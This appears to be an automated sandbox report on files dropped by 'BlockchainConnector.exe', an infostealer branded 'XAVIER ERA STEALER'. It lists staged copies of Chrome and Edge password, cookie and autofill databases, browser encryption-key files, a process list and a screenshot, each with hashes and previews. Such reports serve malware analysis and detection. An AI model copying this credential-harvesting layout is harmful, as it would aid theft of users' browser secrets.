                                                                                                                                                                                                                                                SSDEEP:24:7TTdHjRbbX1H1+1X1H1fP8rza10U91RLp:7FV1H1+1X1H1f910e1Vp
                                                                                                                                                                                                                                                MD5:568BF4C24CC9BE86E51183E870F38D10
                                                                                                                                                                                                                                                SHA1:878E3F560051D1AE86A26D22A887441191129855
                                                                                                                                                                                                                                                SHA-256:65E4C146E4C87CE59602E3D2E752472C52F005DA5122057369EAC8C6FA96A5FD
                                                                                                                                                                                                                                                SHA-512:7E99F74459B8A390B35E8F650AB338AAF7EF39BB598BAD60B4503EF2157BE2CDC9237A457E8140D3E69ACA261DBD6BB8A8D59A0001CD147CBBC88AABE8C1386F
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:.... ... ... ...... ... ..................... .. ................... ........................ ...... ........... ............ .......... ...... ............ ............. .......... .... ...... ... ....... .............. ..... ... ...... ... ..... .............. ....... XAVIER ERA STEALER | V2.71..

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\Xavier\Autofills\Edge_Default_AFILLS.txt

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:Unicode text, UTF-8 text, with CRLF line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):819
                                                                                                                                                                                                                                                Entropy (8bit):3.169800290625281
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:24:7TTdHjRbbX1H1+1X1H1fP8rza10U91RLp:7FV1H1+1X1H1f910e1Vp
                                                                                                                                                                                                                                                MD5:568BF4C24CC9BE86E51183E870F38D10
                                                                                                                                                                                                                                                SHA1:878E3F560051D1AE86A26D22A887441191129855
                                                                                                                                                                                                                                                SHA-256:65E4C146E4C87CE59602E3D2E752472C52F005DA5122057369EAC8C6FA96A5FD
                                                                                                                                                                                                                                                SHA-512:7E99F74459B8A390B35E8F650AB338AAF7EF39BB598BAD60B4503EF2157BE2CDC9237A457E8140D3E69ACA261DBD6BB8A8D59A0001CD147CBBC88AABE8C1386F
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:.... ... ... ...... ... ..................... .. ................... ........................ ...... ........... ............ .......... ...... ............ ............. .......... .... ...... ... ....... .............. ..... ... ...... ... ..... .............. ....... XAVIER ERA STEALER | V2.71..

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\Xavier\Caches\Chrome_Default_Local State

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:JSON data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):66646
                                                                                                                                                                                                                                                Entropy (8bit):6.044576597568136
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:1536:k8Tc32bwS8Oa6nviYQkiEZQiaWh9emCgfXJ9Uu:k8bJznvi61e8fIu
                                                                                                                                                                                                                                                MD5:BEEB299F37F7FB5E83199C87E7D12EDA
                                                                                                                                                                                                                                                SHA1:D77E47377D802C79BD8C0B87B1E9F0520A6A9864
                                                                                                                                                                                                                                                SHA-256:06FEBBBE692878AD3433329A9155B08A1E0A5EC68152AD6B03A552FB39DACD46
                                                                                                                                                                                                                                                SHA-512:911E4E566B7663D7EF504B77A60B60C4F060C01CF451D6EF40F4D370F20194354B31FF3FFB8223DE22166DC522DDFE5912523EBF5A474F7A6621A3EB95EDF56F
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:{"browser":{"first_run_finished":true,"first_run_study_group":"EnabledE-5","shortcut_migration_version":"117.0.5938.132"},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"os_crypt":{"app_bound_fixed_data":"AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAG7I4XamucEiJgTIvWNrX8QAAAAACAAAAAAAQZgAAAAEAACAAAACz9LIY/Sft4sF7BR0/+RlMXu9lhIRI5BaZTSQpyRPpLAAAAAAOgAAAAAIAACAAAADpL4/Y0/1c7GfAyejoQlHrWIfhufkrSTaxhr33kLRaiGABAABCz7EyQ+8ml1FxjRqtgyeWwLLZ2IHAzJeD0JnWN0wZz313G7DGWg+UAsBKIMQy5yoFT6uS18pLOAyaJXxUDloUrKvqu51HeVrnYHoVb8WT7jb6PiSZemofWqeToVsJHvtWDZt5T3cRsPTFluK+ErdhV/M4aslTfHhHU5oOdEFpJOJjtEggjyvy+1z4MfOSzFQSR/yUPtVqL11Kienypq7Pfce/sgXQVyQx5HJtARkiij5S80SSAzlX7odXphhcK8KFY7RZq5/8tF3h6DjBHxi9tJQHjyUkWUars8S2pxC2nfARqxQF3hsXBSGhzpXzBeEyndaMlhVfFQG+uOvLDxv6WWNzrjY/N23xyPWDnjICFAZ1Phbd/J/YvjpTb6AiXnSITx3SZj6TKb6dLBr9boJsB8rSYGXCaHgO5j6IZBvlJWu9yNA8rR4b0hxpmRkM7XxuKP

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\Xavier\Caches\Chrome_Default_afills.db

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):106496
                                                                                                                                                                                                                                                Entropy (8bit):1.1358696453229276
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                                                                                                                                MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                                                                                                                                SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                                                                                                                                SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                                                                                                                                SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\Xavier\Caches\Chrome_Default_cookies.db

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):28672
                                                                                                                                                                                                                                                Entropy (8bit):2.5793180405395284
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                                                                                                                                                                                                                MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                                                                                                                                                                                                                SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                                                                                                                                                                                                                SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                                                                                                                                                                                                                SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\Xavier\Caches\Chrome_Default_pass.db

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):40960
                                                                                                                                                                                                                                                Entropy (8bit):0.8553638852307782
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                                                                                                                                MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                                                                                                                                SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                                                                                                                                SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                                                                                                                                SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\Xavier\Caches\Edge_Default_Local State

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:JSON data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):6648
                                                                                                                                                                                                                                                Entropy (8bit):5.799886528185702
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:96:iaYufr62qpTM5ih/cI9URXl8RotowZFVvluhte4dUONIeTC6XQS0qGqk+Z4uj+rW:Io+The2RUUhH6qRAq1k8SPxVLZ7VTi1
                                                                                                                                                                                                                                                MD5:90A2F19EEFA47D85E430FE6C5168119E
                                                                                                                                                                                                                                                SHA1:37891580B150A8ACE11FFD627FBB31A27F23613D
                                                                                                                                                                                                                                                SHA-256:EB2BD55079C7F57F370274A590904D6816B2888B19EAD691FC316E2E34E6097B
                                                                                                                                                                                                                                                SHA-512:CA73C269544837779C04CD438FE07171FAF8FC88689D9AD9F3CBAEC3CC92A803F17FE9BB0CEEFC950B10930F079D9ABBB259BE32C8A6BBE7CEE331C2DCCE7E0A
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAADscBs/HS2TTJocp6NtpoyLEAAAAAoAAABFAGQAZwBlAAAAEGYAAAABAAAgAAAAsW8ultSdDwTk/AwAAbf7bEI2/b0XfFbP3jjJ+raY3fcAAAAADoAAAAACAAAgAAAAsg3hXdbXl6JIj8KFvhbWlaqVSpM3ag+0g0nExYB2Z1kwAAAAXs7yCB0jG0dlOoc3vEVs9i7od11B2WMH/KUhpHcou9G

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\Xavier\Caches\Edge_Default_afills.db

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):114688
                                                                                                                                                                                                                                                Entropy (8bit):0.9746603542602881
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                                                                                                                                MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                                                                                                                                SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                                                                                                                                SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                                                                                                                                SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\Xavier\Caches\Edge_Default_pass.db

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):49152
                                                                                                                                                                                                                                                Entropy (8bit):0.8180424350137764
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                                                                                                                                                                                                MD5:349E6EB110E34A08924D92F6B334801D
                                                                                                                                                                                                                                                SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                                                                                                                                                                                                SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                                                                                                                                                                                                SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\Xavier\Chrome_Default_PASS.txt

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:Unicode text, UTF-8 text, with CRLF line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):855
                                                                                                                                                                                                                                                Entropy (8bit):3.2988852447158834
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:24:7TTdHjRbbX1H1+1X1H1fP8rza10U91RLq:7FV1H1+1X1H1f910e1Vq
                                                                                                                                                                                                                                                MD5:E65C51E72CFDAD51E45243C057DFF807
                                                                                                                                                                                                                                                SHA1:BB800FC1BAA370F50D91225471D549BEA41467CB
                                                                                                                                                                                                                                                SHA-256:1E24C42F99D4CD29BA701396AAE8DCB78E92BCA13B1484A488B2A45508383ECE
                                                                                                                                                                                                                                                SHA-512:63508D8213B8B52EF39E5A2BB81D1DD55733C112DADFD11560EC8CDB745E07414A07B4E00AE76FB96272C07CF7BEF64DF7B54EF2D9F870F77740C6D19F3BC21E
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:.... ... ... ...... ... ..................... .. ................... ........................ ...... ........... ............ .......... ...... ............ ............. .......... .... ...... ... ....... .............. ..... ... ...... ... ..... .............. ....... XAVIER ERA STEALER | V2.71....==============================....

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\Xavier\Edge_Default_PASS.txt

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:Unicode text, UTF-8 text, with CRLF line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):855
                                                                                                                                                                                                                                                Entropy (8bit):3.2988852447158834
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:24:7TTdHjRbbX1H1+1X1H1fP8rza10U91RLq:7FV1H1+1X1H1f910e1Vq
                                                                                                                                                                                                                                                MD5:E65C51E72CFDAD51E45243C057DFF807
                                                                                                                                                                                                                                                SHA1:BB800FC1BAA370F50D91225471D549BEA41467CB
                                                                                                                                                                                                                                                SHA-256:1E24C42F99D4CD29BA701396AAE8DCB78E92BCA13B1484A488B2A45508383ECE
                                                                                                                                                                                                                                                SHA-512:63508D8213B8B52EF39E5A2BB81D1DD55733C112DADFD11560EC8CDB745E07414A07B4E00AE76FB96272C07CF7BEF64DF7B54EF2D9F870F77740C6D19F3BC21E
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:.... ... ... ...... ... ..................... .. ................... ........................ ...... ........... ............ .......... ...... ............ ............. .......... .... ...... ... ....... .............. ..... ... ...... ... ..... .............. ....... XAVIER ERA STEALER | V2.71....==============================....

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\Xavier\Infos\Running_Softwares.txt

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:Unicode text, UTF-8 text, with CRLF line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):17961
                                                                                                                                                                                                                                                Entropy (8bit):5.660657011671521
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:96:7FnV0lVf/hVzOUiUoUPUUvXW3lUgqCXweUBBMUyU5595v:7FaPSUiUoUPU9UxBeUHMUyU5bN
                                                                                                                                                                                                                                                MD5:70750391211A35EBE549F80332477893
                                                                                                                                                                                                                                                SHA1:DFB694BA27BBDC6EB333FE27FF91704BEC406BF8
                                                                                                                                                                                                                                                SHA-256:600A3B63A62E8E70EC3920A53C7604284FBB786BEBB718A9FC003D4AF2F88AA9
                                                                                                                                                                                                                                                SHA-512:989A46DD2430650AA77E557051312D84220159CD638FAB6D04908B45B377479B5AF2FC76A6D98BFA279421CC8B387E3DEE20318EF428D7AA1362B860AED73A86
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:.... ... ... ...... ... ..................... .. ................... ........................ ...... ........... ............ .......... ...... ............ ............. .......... .... ...... ... ....... .............. ..... ... ...... ... ..... .............. ....... XAVIER ERA STEALER | V2.71....====================================================....System Idle Process | None..System | ..Registry | Registry..smss.exe | C:\Windows\System32\smss.exe..WmiPrv

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\Xavier\Screenshot.png

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PNG image data, 1280 x 1024, 8-bit/color RGB, non-interlaced
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):339129
                                                                                                                                                                                                                                                Entropy (8bit):7.988159341942521
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:wbDOSrqXDGxsA9Ta9LfVMgdWoHcaHUTJl02GAbZoGE7v+CvDbNUwFyWG3:wuSrSA9TOf6Zo8iUn02GA94r+CvpFyWS
                                                                                                                                                                                                                                                MD5:A5FBFDD9AAA93CBA32468996F7D566BB
                                                                                                                                                                                                                                                SHA1:49E32F3035D8897F7A4A6AE550681DC563D2D265
                                                                                                                                                                                                                                                SHA-256:C509FBD883411B02563FDD7C2C6EDCFD2C599A05CBA914B99F1F18A4A8E41E25
                                                                                                                                                                                                                                                SHA-512:05D60DCD564286FD2EAAED6C7AB793ECF7A9C37312D0A3738D743FE7FF8962F796D4457FDC3550B15DC298B7776185E32051DD59D8EDC2949328A57B4C35E3AC
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:.PNG........IHDR.............1.c.....IDATx..{.]Eu7.]..9O.'..$.B.....VQA."A*.-..K[%.}.%.J/j....h.Z....U.R..&..%j.....D!.h .'!..g..X{.Y{...9.-.."..s..=.f...w.5..../\......D...R,].K...?&iR.e..b..b..........J...B".v..5U}.*?.P|....fSw.C.\.U.NI.]..l.0.92C....U5..<.....q.A=..l.0.a.[....4.\?..c?.[z.9TX|Gw..YS.^.s....9...U.C..?..g>w>k=2..........KJ..i.w.v.^a.KJ.P.%"......d..Lz....F...^x.E&...lx..8....Z.{..I.9'..g"B.|.@.cC.P..""i.v?!bf....n...1s...{.\.V...\..@QgU.I.0s.^g.v..\.!.9....@>..T[.....>I...mKzGD..WT..uqt..T.tO.(H...`..^afm]..@d(B.!...pK.R...^x.UW....D8.v[..{.n6)I.si..j5..."...s...x.L...v}....e.wNF..j.v...|-i+..]V..U..j.Z..0.rSaRAU.C..v..h.j.......~....q.E&.._. .J.4MSa.NR.p..L"U'.P..N.T.[..i.{...y....,..W4k..'..%.I(.P.\..k...N:+=.'..,7...9....S....C.*_.G..M..w]:..?..<... .\....".Y.aRe....R.....9"b...#.UZ..c...G.if.&-<. C...`W.mN.J.h7K.g) .l..VPd.z...........N.|V..@M..=.K+.. ......C.H.8XI.0*..g.mWo.<.(B...3T.5(..#+XQ..6... \...Zm.X..RJ.

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0qrgu5vq.u1l.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_en4screy.gl3.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ivhwg00s.d1k.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l0mofyuw.m1b.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pkigec2k.hel.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

